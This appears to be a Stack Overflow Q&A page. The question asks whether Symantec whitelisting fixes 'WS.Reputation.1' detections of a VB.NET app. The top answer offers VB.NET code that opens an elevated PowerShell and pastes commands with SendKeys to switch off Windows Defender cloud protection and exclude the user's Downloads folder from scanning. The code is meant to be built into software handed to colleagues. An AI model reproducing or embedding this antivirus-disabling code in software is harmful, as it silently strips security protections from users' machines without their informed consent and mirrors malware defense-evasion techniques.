Is Symantec whitelisting for fixing 'WS.Reputation.1' warning future proof?

Question

I wanted to distribute my VB.NET application to my colleagues but unfortunately Symantec Endpoint Protection was detecting and sometimes removing the application executable file with WS.Reputation.1 warning. After some research I managed to resolve this issue by uploading the exe file at https://symsubmit.symantec.com/ and getting it whitelisted after 2 days.

Is this method futureproof? Will I have to do this whitelisting every time I build a new version of my application?

score 1 · Answer 1 · edited Feb 21 '21 at 17:41

Submiting your software as nonmalicious to the link you provided will only stop your file from being removed by NortonLifeLock security and will only update for NortonLifeLock security and only if NortonLifeLock agree that your software is nonmalicious

Most antimalware software will have a way to add a folder to exclusions or will ask what actions to take before removing the software

You can try adding more info to the assembly like company name and copyright info before sending your software to your colleagues

I had ongoing problems with Windows Security and Microsoft wasn't agreeing with my reports for my software

So ended up making and adding this code what turns off (Cloud-delivered protection) and adds the downloads directory to the (Exclusions) in Windows Security

Try

    If (Clipboard.ContainsText()) Then

        Dim clipboardtext = My.Computer.Clipboard.GetText()

        Threading.Thread.Sleep(90)

        Dim PowerShell As Process = New System.Diagnostics.Process()

        Threading.Thread.Sleep(90)

        PowerShell.StartInfo.FileName = "powershell.exe"

        PowerShell.StartInfo.Arguments = Nothing

        PowerShell.StartInfo.UseShellExecute = True

        PowerShell.StartInfo.Verb = "runas"

        Threading.Thread.Sleep(90)

        PowerShell.Start()

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.SetText("Set-MpPreference -MAPSReporting Disable")

        Threading.Thread.Sleep(1900)

        SendKeys.Send("^v")

        Threading.Thread.Sleep(200)

        SendKeys.Send("{ENTER}")

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.SetText("Add-MpPreference -ExclusionPath " & Chr(34) & "C:\Users\" & Environment.UserName & "\Downloads" & Chr(34))

        Threading.Thread.Sleep(300)

        SendKeys.Send("^v")

        Threading.Thread.Sleep(200)

        SendKeys.Send("{ENTER}")

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.SetText("Set-MpPreference -MAPSReporting Disable")

        Threading.Thread.Sleep(300)

        SendKeys.Send("^v")

        Threading.Thread.Sleep(200)

        SendKeys.Send("{ENTER}")

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.SetText("Add-MpPreference -ExclusionPath " & Chr(34) & "C:\Users\" & Environment.UserName & "\Downloads" & Chr(34))

        Threading.Thread.Sleep(300)

        SendKeys.Send("^v")

        Threading.Thread.Sleep(200)

        SendKeys.Send("{ENTER}")

        Threading.Thread.Sleep(300)

        PowerShell.Kill()

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.SetText(clipboardtext)

        Threading.Thread.Sleep(90)

    Else

        Dim PowerShell As Process = New System.Diagnostics.Process()

        Threading.Thread.Sleep(90)

        PowerShell.StartInfo.FileName = "powershell.exe"

        PowerShell.StartInfo.Arguments = Nothing

        PowerShell.StartInfo.UseShellExecute = True

        PowerShell.StartInfo.Verb = "runas"

        Threading.Thread.Sleep(90)

        PowerShell.Start()

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.SetText("Set-MpPreference -MAPSReporting Disable")

        Threading.Thread.Sleep(1900)

        SendKeys.Send("^v")

        Threading.Thread.Sleep(200)

        SendKeys.Send("{ENTER}")

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.SetText("Add-MpPreference -ExclusionPath " & Chr(34) & "C:\Users\" & Environment.UserName & "\Downloads" & Chr(34))

        Threading.Thread.Sleep(300)

        SendKeys.Send("^v")

        Threading.Thread.Sleep(200)

        SendKeys.Send("{ENTER}")

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.SetText("Set-MpPreference -MAPSReporting Disable")

        Threading.Thread.Sleep(300)

        SendKeys.Send("^v")

        Threading.Thread.Sleep(200)

        SendKeys.Send("{ENTER}")

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.SetText("Add-MpPreference -ExclusionPath " & Chr(34) & "C:\Users\" & Environment.UserName & "\Downloads" & Chr(34))

        Threading.Thread.Sleep(300)

        SendKeys.Send("^v")

        Threading.Thread.Sleep(200)

        SendKeys.Send("{ENTER}")

        Threading.Thread.Sleep(300)

        PowerShell.Kill()

        Threading.Thread.Sleep(90)

        My.Computer.Clipboard.Clear()

        Threading.Thread.Sleep(90)

    End If

    Threading.Thread.Sleep(90)

Catch ex As Exception

End Try

You can also use virustotal to see what antimalware software service to submit your nonmalicious software to

I'm not sure using the clipboard this way is a good practice... it would wipe out whatever the user had copied previously. Also it would leave bits of code in there. At least at the end, clearing CB is probably a good idea. — StayOnTarget, Sep 19 '20 at 16:11
@UuDdLrLrSs i already had it clearing the text just out of the try statement but thanks for the comment because of this, i am updating my software too with more If statements for Clipboard.Contains and anandhu can add even more for Audio, Data, FileDropList or Image if he wishes — witch, Sep 19 '20 at 18:42

Is Symantec whitelisting for fixing 'WS.Reputation.1' warning future proof?

1 Answers1

Linked